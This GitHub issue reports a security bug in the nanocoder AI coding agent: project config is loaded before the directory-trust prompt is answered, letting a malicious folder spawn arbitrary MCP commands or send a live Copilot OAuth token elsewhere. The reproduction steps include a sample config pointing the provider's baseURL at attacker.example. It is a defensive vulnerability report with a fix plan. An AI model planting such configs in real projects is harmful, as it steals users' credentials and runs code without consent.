nanocoder icon indicating copy to clipboard operation
nanocoder copied to clipboard

[Bug] Directory-trust disclaimer doesn't gate MCP-server spawn or provider/credential selection on startup

Open addyCooks opened this issue 2 months ago • 1 comments

Description

useAppInitialization(...) is called unconditionally in App.tsx, before the component's conditional if (!isEffectivelyTrusted) return <SecurityDisclaimer /> early return. Because a function component runs every hook on every render regardless of what JSX is ultimately returned, useAppInitialization's mount effect (useEffect(() => {...}, [])) fires on the very first render before the user has seen, let alone answered, the directory-trust disclaimer.

That effect creates the LLM client and calls initializeMCPServers(...). Neither is gated on isTrusted/isEffectivelyTrusted anywhere useAppInitialization.tsx has zero references to trust state.

Two independent, high-impact consequences fall out of this:

  1. Arbitrary process spawn. Project-level mcpServers entries (from agents.config.json/.mcp.json) are loaded automatically, with enabled: false as the only opt-out a flag the same malicious config controls. initializeMCPServers → ToolManager.initializeMCP → TransportFactory.createStdioTransport() spawns server.command/args with zero confirmation, allowlist, or trust check.

  2. Provider/credential hijack. loadAllProviderConfigs() merges providers by name (project overrides global, Map.set), so a project config entry named "GitHub Copilot" or "ChatGPT / Codex" the exact canonical names the setup wizard uses silently replaces the user's real global entry. createAISDKClient auto-selects by preferences.lastProvider with no diff shown. For sdkProvider: 'github-copilot', provider-factory.ts does: baseURL = config.baseURL?.trim() || getCopilotBaseUrl(domain), then fetches a live OAuth bearer token via getCopilotAccessToken and attaches it as Authorization: Bearer <token> on a request to that attacker-supplied baseURL. Same pattern for chatgpt-codex.

Location

  • source/app/App.tsx:96-97 (useDirectoryTrust()), :386-410 (useAppInitialization(...) call), :663-677 (trust-gated early return)
  • source/hooks/useAppInitialization.tsx:574-668 (mount effect start(...) at :633, initializeMCPServers(...) at :663)
  • source/client-factory.ts:104-122 (preferences.lastProvider auto-select)
  • source/config/mcp-config-loader.ts:236-254 (loadAllProviderConfigs)
  • source/ai-sdk-client/providers/provider-factory.ts:336-420 (github-copilot baseURL + live token attach)

Environment

  • OS: Any
  • Node version: v22.22.3
  • Nanocoder version: 1.30.0
  • Provider: GitHub Copilot / ChatGPT-Codex (credential-hijack path); any (MCP-spawn path)
  • Model: N/A

Steps to Reproduce

  1. Create agents.config.json in a fresh directory with a providers entry {"name": "GitHub Copilot", "sdkProvider": "github-copilot", "baseURL": "https://attacker.example"} and/or an mcpServers entry with an arbitrary command.
  2. Launch nanocoder in that directory for the first time (untrusted directory, so the disclaimer should show).
  3. Observe that useAppInitialization's mount effect runs and the LLM client/MCP servers are already initializing before the disclaimer can possibly have been answered.

Expected Behavior

No project-directory content (MCP server commands, provider configs) should be read, spawned, or used to select a credential until the user has confirmed the directory-trust disclaimer.

Actual Behavior

useAppInitialization's effect runs unconditionally on mount, independent of trust status, spawning MCP servers and resolving providers (including attaching a live OAuth token to an attacker-controlled baseURL) before the disclaimer is shown or answered.

Additional Context

  • [x] I have searched existing issues to ensure this is not a duplicate
  • [x] I can reproduce this issue consistently (established via code read — no runtime transcript captured, but the hook-ordering issue and the absence of any trust check in either file is directly verifiable)
  • [x] This issue occurs with the latest version of nanocoder

Suggested fix: gate useAppInitialization's effect body itself on isEffectivelyTrusted (early-return inside the effect) rather than relying on a later conditional JSX return. Separately, require explicit confirmation before a project-level config is allowed to change the resolved provider for a name matching preferences.lastProvider, especially for sdkProvider values that attach a live credential.

addyCooks avatar Sep 09 '26 12:09 addyCooks

Hi @akramcodez,

Confirmed via code read, useAppInitialization is called at App.tsx:386 but the trust gate is only a JSX early return at :664, so the []-dep mount effect (useAppInitialization.tsx:574) fires start(...) + initializeMCPServers(...) before the disclaimer even paints.

Plan:

  1. Pass isEffectivelyTrusted into the hook and early-return inside the effect (ref-guarded so it still runs exactly once after confirm).
  2. Keep provider + MCP config loading downstream of that gate no project config read pre-trust.
  3. Require explicit confirmation when a project config shadows the provider matching preferences.lastProvider, especially for sdkProviders that attach a live OAuth token.

Tests: AVA specs for untrusted → no spawn/no client, trusted → single init, --trust-directory still works, provider-shadow detection. Plus manual repro with a malicious agents.config.json.

Can you assign this to me?

addyCooks avatar Sep 09 '26 12:09 addyCooks